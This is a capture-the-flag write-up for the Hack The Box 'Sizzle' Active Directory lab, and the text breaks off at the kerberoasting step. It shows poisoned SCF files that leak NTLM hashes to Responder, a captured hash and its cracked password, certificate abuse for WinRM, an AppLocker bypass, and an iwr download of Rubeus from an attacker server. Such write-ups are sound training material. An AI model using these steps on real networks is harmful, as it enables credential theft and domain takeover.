Post

HTB Sizzle CTF Writeup

Insane-rated Windows Active Directory box. LLMNR/NBT-NS poisoning steals NTLM hashes via a writable SMB share. ADCS issues a certificate for PSRemoting access, Kerberoasting cracks a service account, and DCSync via replication rights yields domain admin hashes.

HTB Sizzle CTF Writeup

Challenge Summary

Sizzle is an “Insane” difficulty WIndows box with an Active Directory environment. A writable directory in an SMB share allows to steal NTLM hashes which can be cracked to access the Certificate Services Portal. A self signed certificate can be created using the CA and used for PSRemoting. A SPN associated with a user allows a kerberoast attack on the box. The user is found to have Replication rights which can be abused to get Administrator hashes via DCSync.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# Nmap 7.93 scan initiated Sun Apr 13 15:59:09 2025 as: nmap -A -oN scans/nmap.initial 10.10.10.103
Nmap scan report for 10.10.10.103
Host is up (0.094s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2025-04-13T20:00:48+00:00; 0s from scanner time.
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2025-04-13T20:00:47+00:00; -1s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap
|_ssl-date: 2025-04-13T20:00:47+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2025-04-13T20:00:48+00:00; -1s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2025-04-13T20:00:47+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-13T20:00:10
|_  start_date: 2025-04-13T14:36:49
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 13 16:00:51 2025 -- 1 IP address (1 host up) scanned in 102.17 seconds

SMB Server Enumeration

Summary

I could access the SMB share using a guest account. I could use this access to enumerate for valid users/groups/computers in the system. Among the accessible shares, a non default one grabs my attention: ZZ_ARCHIVE. I could enumerate the share, to find a whole lot of files under the directory tree, but those files have no content at all, are all just placeholder files it seems. As I didn’t find reasonable options on the internet to enumerate writable folders in a SMB share, I created a simple bash script that lists all folders in a share and tries to place a file under every single one of them, to find out if we can write to any of those. By that I could find two writable folders, which I’ll work with later on the engagement.

Details

The SMB server allows for guest authentication using a random username:

1
2
3
$ nxc smb 10.10.10.103 -u 'test' -p ''
SMB         10.10.10.103    445    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.103    445    SIZZLE           [+] HTB.LOCAL\test: (Guest)

I could leverage this and enumerate valid system users and groups:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ nxc smb 10.10.10.103 -u 'test' -p '' --rid-brute 5000 
SMB         10.10.10.103    445    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.103    445    SIZZLE           [+] HTB.LOCAL\test: (Guest)
SMB         10.10.10.103    445    SIZZLE           498: HTB\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           500: HTB\Administrator (SidTypeUser)
SMB         10.10.10.103    445    SIZZLE           501: HTB\Guest (SidTypeUser)
SMB         10.10.10.103    445    SIZZLE           502: HTB\krbtgt (SidTypeUser)
SMB         10.10.10.103    445    SIZZLE           503: HTB\DefaultAccount (SidTypeUser)
SMB         10.10.10.103    445    SIZZLE           512: HTB\Domain Admins (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           513: HTB\Domain Users (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           514: HTB\Domain Guests (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           515: HTB\Domain Computers (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           516: HTB\Domain Controllers (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           517: HTB\Cert Publishers (SidTypeAlias)
SMB         10.10.10.103    445    SIZZLE           518: HTB\Schema Admins (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           519: HTB\Enterprise Admins (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           520: HTB\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           521: HTB\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           522: HTB\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           525: HTB\Protected Users (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           526: HTB\Key Admins (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           527: HTB\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           553: HTB\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.10.103    445    SIZZLE           571: HTB\Allowed RODC Password Replication Group (SidTypeAlias)                                                                                             
SMB         10.10.10.103    445    SIZZLE           572: HTB\Denied RODC Password Replication Group (SidTypeAlias)                                                                                              
SMB         10.10.10.103    445    SIZZLE           1001: HTB\SIZZLE$ (SidTypeUser)
SMB         10.10.10.103    445    SIZZLE           1102: HTB\DnsAdmins (SidTypeAlias)
SMB         10.10.10.103    445    SIZZLE           1103: HTB\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.10.103    445    SIZZLE           1104: HTB\amanda (SidTypeUser)
SMB         10.10.10.103    445    SIZZLE           1603: HTB\mrlky (SidTypeUser)
SMB         10.10.10.103    445    SIZZLE           1604: HTB\sizzler (SidTypeUser)

Out of the shares I could access using a guest account, the only one that stands out is “Department Shares” as it isn’t a default share:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nxc smb 10.10.10.103 -u 'test' -p '' --shares
SMB         10.10.10.103    445    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.103    445    SIZZLE           [+] HTB.LOCAL\test: (Guest)
SMB         10.10.10.103    445    SIZZLE           [*] Enumerated shares
SMB         10.10.10.103    445    SIZZLE           Share           Permissions     Remark
SMB         10.10.10.103    445    SIZZLE           -----           -----------     ------
SMB         10.10.10.103    445    SIZZLE           ADMIN$                          Remote Admin
SMB         10.10.10.103    445    SIZZLE           C$                              Default share
SMB         10.10.10.103    445    SIZZLE           CertEnroll                      Active Directory Certificate Services share                                                                                 
SMB         10.10.10.103    445    SIZZLE           Department Shares READ            
SMB         10.10.10.103    445    SIZZLE           IPC$            READ            Remote IPC
SMB         10.10.10.103    445    SIZZLE           NETLOGON                        Logon server share 
SMB         10.10.10.103    445    SIZZLE           Operations                      
SMB         10.10.10.103    445    SIZZLE           SYSVOL                          Logon server share

I ran a spider to enumerate all files/directories in the “Department Shares” SMB share:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nxc smb 10.10.10.103 -u 'test' -p '' -M spider_plus --share 'Department Shares'
SMB         10.10.10.103    445    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.103    445    SIZZLE           [+] HTB.LOCAL\test: (Guest)
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*]     STATS_FLAG: True
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*]  OUTPUT_FOLDER: /home/user/.nxc/modules/nxc_spider_plus
SMB         10.10.10.103    445    SIZZLE           [*] Enumerated shares
SMB         10.10.10.103    445    SIZZLE           Share           Permissions     Remark
SMB         10.10.10.103    445    SIZZLE           -----           -----------     ------
SMB         10.10.10.103    445    SIZZLE           ADMIN$                          Remote Admin
SMB         10.10.10.103    445    SIZZLE           C$                              Default share
SMB         10.10.10.103    445    SIZZLE           CertEnroll                      Active Directory Certificate Services share                                                                                 
SMB         10.10.10.103    445    SIZZLE           Department Shares READ            
SMB         10.10.10.103    445    SIZZLE           IPC$            READ            Remote IPC
SMB         10.10.10.103    445    SIZZLE           NETLOGON                        Logon server share 
SMB         10.10.10.103    445    SIZZLE           Operations                      
SMB         10.10.10.103    445    SIZZLE           SYSVOL                          Logon server share 
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [+] Saved share-file metadata to "/home/user/.nxc/modules/nxc_spider_plus/10.10.10.103.json".
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] SMB Shares:           8 (ADMIN$, C$, CertEnroll, Department Shares, IPC$, NETLOGON, Operations, SYSVOL)
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] SMB Readable Shares:  2 (Department Shares, IPC$)
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] Total folders found:  51
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] Total files found:    51
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] File size average:    409.6 KB
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] File size min:        409.6 KB
SPIDER_PLUS 10.10.10.103    445    SIZZLE           [*] File size max:        409.6 KB

The output json looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
  "Department Shares": {
    "ZZ_ARCHIVE/AddComplete.pptx": {
      "atime_epoch": "2018-07-02 15:32:58",
      "ctime_epoch": "2018-07-02 15:32:58",
      "mtime_epoch": "2018-07-02 15:32:58",
      "size": "409.6 KB"
    },
    "ZZ_ARCHIVE/AddMerge.ram": {
      "atime_epoch": "2018-07-02 15:32:57",
      "ctime_epoch": "2018-07-02 15:32:57",
      "mtime_epoch": "2018-07-02 15:32:57",
      "size": "409.6 KB"
    },
    
    
    <SNIP>
    
    
    "ZZ_ARCHIVE/WaitRevoke.pptx": {
      "atime_epoch": "2018-07-02 15:32:57",
      "ctime_epoch": "2018-07-02 15:32:57",
      "mtime_epoch": "2018-07-02 15:32:57",
      "size": "409.6 KB"
    },
    "ZZ_ARCHIVE/WriteUninstall.mp3": {
      "atime_epoch": "2018-07-02 15:32:58",
      "ctime_epoch": "2018-07-02 15:32:58",
      "mtime_epoch": "2018-07-02 15:32:58",
      "size": "409.6 KB"
    }
  }
}

I downloaded three different files from the ZZ_ARCHIVE directory, all of them are filled with bytes, but no content at all. Just placeholder files it seems.

So, I created a simple bash script to enumerate writable folders in the smb share:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash

mount_point="/mnt/htb"
writable_dirs=()

echo "Enumerating writable folders under: $mount_point"
echo "--------------------------------------------"

for dir in $(find "$mount_point" -type d); do
    echo "Testing write in: $dir"
    if touch "$dir/test_write" 2>/dev/null; then
        echo -e "\e[1;32m[+] Writable:\e[0m $dir"
        rm "$dir/test_write"
        writable_dirs+=("$dir")
    else
        echo -e "\e[1;31m[-] Not writable:\e[0m $dir"
    fi
done

echo ""
echo "====== Writable Folders Summary ======"
if [ ${#writable_dirs[@]} -eq 0 ]; then
    echo -e "\e[1;31mNo writable directories found.\e[0m"
else
    for wdir in "${writable_dirs[@]}"; do
        echo -e "\e[1;32m$wdir\e[0m"
    done
fi

I mounted the SMB share locally:

1
2
sudo mkdir /mnt/htb
sudo mount -t cifs '//10.10.10.103/Department Shares' /mnt/htb

And ran the script, discovering two writable folders (Users/Public and ZZ_ARCHIVE):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ sudo ./smb_write_test.sh 
Enumerating writable folders under: /mnt/htb
--------------------------------------------
Testing write in: /mnt/htb
[-] Not writable: /mnt/htb
Testing write in: /mnt/htb/Accounting
[-] Not writable: /mnt/htb/Accounting
Testing write in: /mnt/htb/Audit
[-] Not writable: /mnt/htb/Audit

<SNIP>

Testing write in: /mnt/htb/Users/morgan
[-] Not writable: /mnt/htb/Users/morgan
Testing write in: /mnt/htb/Users/mrb3n
[-] Not writable: /mnt/htb/Users/mrb3n
Testing write in: /mnt/htb/Users/Public
[+] Writable: /mnt/htb/Users/Public
Testing write in: /mnt/htb/ZZ_ARCHIVE
[+] Writable: /mnt/htb/ZZ_ARCHIVE

====== Writable Folders Summary ======
/mnt/htb/Users/Public
/mnt/htb/ZZ_ARCHIVE

FTP Server Enumeration

Summary

I could log in to the FTP server using an anonymous account. There is little to no information that could be obtained from the FTP server, as there aren’t any files available nor we can write files to the server.

Details

The server allows for Anonymous FTP authentication. I was able to log in anonymously to the FTP server, but no file was encountered:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ftp 10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
Name (10.10.10.103:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 EPRT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> exit 
221 Goodbye.

I also couldn’t write any file in the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ftp 10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
Name (10.10.10.103:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> 
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||62143|)
550 Access is denied. 
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> put test.txt
local: test.txt remote: test.txt
200 EPRT command successful.
550 Access is denied. 
ftp> exit 
221 Goodbye.

Web Server Enumeration

Summary

The default page for the web server seems to be just a splash gif of sizzle, nothing really interesting upon reading the page source code as well. I performed a directory bruteforcing attack, which resulted in me finding a /certsrv endpoint that will be useful later on the engagement.

Details

The default web page for the application is just a GIF image:

image.webp Fig. 01: A simple splash GIF displaying a sizzling on the default IIS landing page.

Nothing really interesting. So, I started a directory bruteforcing:

1
wfuzz -u http://10.10.10.103/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words.txt --hw 95 -t 20

You can see a result snippet below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<SNIP>

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                
=====================================================================

000000003:   301        1 L      10 W       150 Ch      "images"                               
<SNIP>                   
000035053:   301        1 L      10 W       157 Ch      "ASPNET_CLIENT"                        
000037395:   401        29 L     100 W      1293 Ch     "certsrv"                              

Total time: 0
Processed Requests: 43007
Filtered Requests: 42977
Requests/sec.: 0

Among the results, /certsrv drags my attention.

LLMNR/NBT-NS Poisoning

Summary

After successful enumeration of writable folders on the SMB share “Department Shares”, I used a python tool to generate malicious files that, when opened, forces a connection back to my machine. In my machine, there was a Responder server waiting for connections. I was able to upload the malicious SCF file to the writable folder in the share, and, after a few seconds, received a connection in the Responder listener, containing a password hash for system user “amanda”.

Details

I started by cloning the tool to my local machine:

1
2
3
4
5
6
7
8
$ git clone --depth 1 https://github.com/Greenwolf/ntlm_theft.git
Cloning into 'ntlm_theft'...
remote: Enumerating objects: 66, done.
remote: Counting objects: 100% (66/66), done.
remote: Compressing objects: 100% (38/38), done.
remote: Total 66 (delta 24), reused 63 (delta 24), pack-reused 0 (from 0)
Receiving objects: 100% (66/66), 2.10 MiB | 2.59 MiB/s, done.
Resolving deltas: 100% (24/24), done.

Then I installed the required dependencies:

1
$ sudo apt install python3-xlsxwriter

And ran the tool to generate the malicious files:

1
2
3
4
5
6
7
8
$ cd ntlm_theft/
$ python3 ntlm_theft.py --generate all --server 10.10.14.4 --filename sizzle 
Created: sizzle/sizzle.scf (BROWSE TO FOLDER)
Created: sizzle/sizzle-(url).url (BROWSE TO FOLDER)
Created: sizzle/sizzle-(icon).url (BROWSE TO FOLDER)
<SNIPPET>
Created: sizzle/desktop.ini (BROWSE TO FOLDER)
Generation Complete.

I then prepared the Responder server to wait for connections:

1
sudo responder -I tun0

Then I uploaded the SCF file to the SMB share (locally mounted):

1
2
3
$ sudo cp sizzle.scf /mnt/htb/Users/Public/sizzle.scf
$ ls /mnt/htb/Users/Public/
sizzle.scf

After a few seconds, the Responder listener got a hit:

1
2
3
4
5
6
7
8
[+] Listening for events...                                                                             

[SMB] NTLMv2-SSP Client   : 10.10.10.103
[SMB] NTLMv2-SSP Username : HTB\amanda
[SMB] NTLMv2-SSP Hash     : amanda::HTB:9fcc0d3d392420b5:0EAEFF7F29524FE2440D245E1B69A9C9:01010000000000000056E71738AEDB010223DEDEE5A5DE8C00000000020008004B00410041005A0001001E00570049004E002D0044004F0031003300380052003400480035004D00580004003400570049004E002D0044004F0031003300380052003400480035004D0058002E004B00410041005A002E004C004F00430041004C00030014004B00410041005A002E004C004F00430041004C00050014004B00410041005A002E004C004F00430041004C00070008000056E71738AEDB01060004000200000008003000300000000000000001000000002000002462566D72D68972747AF0A78AA72757FB3EA713C74B264ACFA0DD9FF7A6BFF20A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003400000000000000000000000000      
[*] Skipping previously captured hash for HTB\amanda
[*] Skipping previously captured hash for HTB\amanda
[+] Exiting...

Weak Passwords - Hash Cracking

Summary

After obtaining the password hash for “amanda”, I used a common wordlist (rockyou.txt) to crack the password hash, indicating the use of a weak password policy in the organization.

Details

I did save the password hash for “amanda” to a local file named “amanda.hash”:

1
amanda::HTB:9fcc0d3d392420b5:0EAEFF7F29524FE2440D245E1B69A9C9:01010000000000000056E71738AEDB010223DEDEE5A5DE8C00000000020008004B00410041005A0001001E00570049004E002D0044004F0031003300380052003400480035004D00580004003400570049004E002D0044004F0031003300380052003400480035004D0058002E004B00410041005A002E004C004F00430041004C00030014004B00410041005A002E004C004F00430041004C00050014004B00410041005A002E004C004F00430041004C00070008000056E71738AEDB01060004000200000008003000300000000000000001000000002000002462566D72D68972747AF0A78AA72757FB3EA713C74B264ACFA0DD9FF7A6BFF20A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003400000000000000000000000000

Then I ran hashcat alongside rockyou.txt against the password hash and was able to obtain the cleartext password for “amanda” (Ashare1972):

1
hashcat amanda.hash /usr/share/wordlists/SecLists-master/Passwords/Leaked-Databases/rockyou.txt 

To verify the credentials, I connected to the LDAP server using the discovered credentials (amanda:Ashare1972):

1
2
3
$ nxc ldap 10.10.10.103 -u amanda -p 'Ashare1972' 
LDAP        10.10.10.103    389    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 (name:SIZZLE) (domain:HTB.LOCAL)
LDAP        10.10.10.103    389    SIZZLE           [+] HTB.LOCAL\amanda:Ashare1972

Active Directory Enumeration

Summary

After obtaining valid domain credentials, I began to enumerate the Active Directory environment. I added “10.10.10.103” (the victim’s machine IP address) to my /etc/resolv.conf file. That means that from now on, my attacking machine will connect to the victim machine (10.10.10.103) to resolve DNS queries. This is needed in order to enumerate properly the Active Directory environment.

I collected data using Bloodhound with the previously obtained credentials for “amanda”, and, upon analyzing the results, I was able to identify a clear attack path that involves kerberoasting the system user “mrlky” to try obtain their cleartext password, and abuse their privileges over the HTB.LOCAL domain to perform a DCSync attack.

Details

This is how /etc/resolv.conf looks like now:

1
2
3
4
$ cat /etc/resolv.conf 
nameserver 10.10.10.103
nameserver 10.139.1.1
nameserver 10.139.1.2

Then the I used netexec to collect BloodHound data:

1
2
3
4
5
6
$ nxc ldap 10.10.10.103 -u amanda -p 'Ashare1972' --bloodhound -c All 
LDAP        10.10.10.103    389    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 (name:SIZZLE) (domain:HTB.LOCAL)
LDAP        10.10.10.103    389    SIZZLE           [+] HTB.LOCAL\amanda:Ashare1972 
LDAP        10.10.10.103    389    SIZZLE           Resolved collection methods: acl, session, container, localadmin, rdp, group, trusts, objectprops, dcom, psremote
LDAP        10.10.10.103    389    SIZZLE           Done in 00M 24S
LDAP        10.10.10.103    389    SIZZLE           Compressing output into /home/user/.nxc/logs/SIZZLE_10.10.10.103_2025-04-16_100527_bloodhound.zip

I loaded the zip file into a local running BloodHound Community Edition server:

image.webp Fig. 02: BloodHound graph showcasing the Active Directory environment collected with Amanda’s credentials.

I listed all kerberoastable users, and discovered that “mrlky” is kerberoastable.

image.webp Fig. 03: BloodHound query result highlighting the single kerberoastable account “mrlky”.

This is important because this user has some weird privileges (GetChanges, GetChangesAll and GetChangesInFilteredSet) over the HTB.LOCAL domain that, when combined, allow for DCSync, which can effectively compromise the domain:

image.webp Fig. 04: BloodHound detail view illustrating mrlky’s GetChanges and DCSync privileges over the HTB._LOCAL domain.

However, I couldn’t exploit this kerberoasting vulnerability from the outside, as kerberos is not open. I need a shell session on the machine in order to proceed.

Initial Shell

Summary

Even with the correct credentials for “amanda”, and sure that the user is member of the “remote management users” on Active Directory, I couldn’t log in to the system via winrm, and I didn’t know why. The error message is weird, nothing I’ve ever encountered before. However, I figured Active Directory Certificate Services is running on the machine based on the /certsrv endpoint available on the web server, and that password authentication is not allowed by policy, requiring users to authenticate with a valid certificate instead. I generated the necessary files to sign a certificate for “amanda”, and was able to specify the certificate and private key to authenticate to the machine via winrm.

Details

I couldn’t obtain a shell via winrm at first:

1
2
3
4
5
6
7
8
$ evil-winrm -i 10.10.10.103 -l -u amanda -p 'Ashare1972'
                                      
[snippet]
                                      
Error: An error of type WinRM::WinRMHTTPTransportError happened, message is Unable to parse authorization header. Headers: {"Server"=>"Microsoft-HTTPAPI/2.0", "Date"=>"Wed, 16 Apr 2025 20:11:30 GMT", "Connection"=>"close", "Content-Length"=>"0"}
Body:  (401).
                                      
Error: Exiting with code 1

The error message is interesting, I’ve never seen it before. When trying with SSL,

1
2
3
4
5
6
7
8
9
10
11
$ evil-winrm -i 10.10.10.103 -l -u amanda -p 'Ashare1972' -S
                                      
[snippet]

Warning: SSL enabled
                                      
Info: Establishing connection to remote endpoint
                                      
Error: An error of type ArgumentError happened, message is unknown type: 2916725146
                                      
Error: Exiting with code 1

Something was clearly going on. The credentials are correct, as seen in the successful ldap authentication earlier.

Coming back to the web server enumeration, it’s possible to log in using the credentials for “amanda” at http://10.10.10.103/certsrv:

image.webp Fig. 05: The IIS Certificate Services login page prompting for domain credentials at /certsrv.

After some research, I found the commands to generate the certificate and private key. We’ll sign the public key using the Active Directory Certificate Services’s web interface to log in to winrm using the private/public keys. Password authentication is not allowed.

First, generate the keys. It is important to note that a PEM pass phrase is required. Make sure to set a PEM pass phrase:

1
2
3
openssl req -new -keyout server.key -out server.csr

# fill in with random details...

Then, copy the generated CSR to the clipboard:

1
$ cat server.csr | xclip -selection clipboard

In the web interface, hit “Request a certificate”, the server will direct you to this page: http://10.10.10.103/certsrv/certrqus.asp.

Then, click on “advanced certificate request”. The server will direct you to this page: http://10.10.10.103/certsrv/certrqxt.asp:

image.webp Fig. 06: The Advanced Certificate Request form on the ADCS web interface ready for a custom CSR.

Fill in the big field with your CSR from the clipboard:

image.webp Fig. 07: The CSR pasted into the ADCS request field, awaiting submission to generate a user certificate.

And hit submit. After a few seconds, this page will hopefully appear:

image.webp Fig. 08: The certificate issuance confirmation page offering the signed cert for download in Base64 format.

Select “Base 64 encoded” and hit “Download certificate”.

Using the signed certificate and private key, it is now possible to log in to the box using evil-winrm, specifying the files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ evil-winrm -c certnew.cer -k server.key -i 10.10.10.103 -u amanda -p 'Ashare1972' -S
                                      
Evil-WinRM shell v3.7
                                      
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                         
                                      
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                           
                                      
Warning: SSL enabled
                                      
Info: Establishing connection to remote endpoint
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\amanda\Documents> whoami
htb\amanda
*Evil-WinRM* PS C:\Users\amanda\Documents> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : htb
   IPv6 Address. . . . . . . . . . . : dead:beef::13f
   Link-local IPv6 Address . . . . . : fe80::c812:17cc:5933:556f%4
   IPv4 Address. . . . . . . . . . . : 10.10.10.103
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2

Tunnel adapter isatap.{46648897-E969-4FE1-9579-63F4E5F7CD54}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : htb
*Evil-WinRM* PS C:\Users\amanda\Documents>

Horizontal Privilege Escalation

Summary

After obtaining a shell as “amanda”, I began enumerating the machine internally. Upon transferring some tools to the machine and failing to execute them due to errors, I noticed that AppLocker is enabled. I enumerated the AppLocker configuration to discover where I can run executable files, and that ultimately allowed me to follow the attack path related to the Kerberoasting attack I discovered earlier (Kerberos’s port isn’t open in the firewall, but I can access Kerberos from the inside) and crack the password hash for “mrlky”.

Details

First, I’ll enumerate AppLocker configuration:

1
2
*Evil-WinRM* PS C:\windows\temp> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections 
Enter PEM pass phrase: ...

From the output, we see that we can run executable files from the windows directory and all its subdirectories:

1
2
3
4
5
6
7
8
9
PathConditions      : {%WINDIR%\*}
PathExceptions      : {}
PublisherExceptions : {}
HashExceptions      : {}
Id                  : 9428c672-5fc3-47f4-808a-a0011f36dd2c
Name                : (Default Rule) All scripts located in the Windows folder
Description         : Allows members of the Everyone group to run scripts that are located in the Windows folder.
UserOrGroupSid      : S-1-1-0
Action              : Allow

So as long as I have write access to a folder under C:\Windows\*, I can execute my tools. There are many lists out there that indicates folders in a windows system that allows for any user to write to them.

The trick here is that, when accessing C:\Windows\Temp, and others, we get an access denied error when performing directory listing:

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\windows\temp> dir
Enter PEM pass phrase:
Access to the path 'C:\windows\temp' is denied.
At line:1 char:1
+ dir
+ ~~~
    + CategoryInfo          : PermissionDenied: (C:\windows\temp:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

However, even if “dir” fails, don’t assume you’re locked out. I tired writing a test file. That’s often the best way to probe for hidden opportunities:

1
2
3
*Evil-WinRM* PS C:\windows\temp> "test" | Out-File C:\Windows\Temp\test.txt -ErrorAction SilentlyContinue
*Evil-WinRM* PS C:\windows\temp> type test.txt
test

As you can see, we can write to that directory.

I cloned the precompiled-binaries repository to my local machine, and, in the LateralMovement folder, started a http server:

1
2
user@attackbox:~/Hacking/Tools/precompiled-binaries/LateralMovement$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

In the victim machine, I got Rubeus.exe downloaded:

1
*Evil-WinRM* PS C:\windows\temp> powershell iwr -uri 10.10.14.10:8080/Rubeus.exe -outfile rubeus.exe

And was able to perform the Kerberoast attack in a breeze:

1
2
3
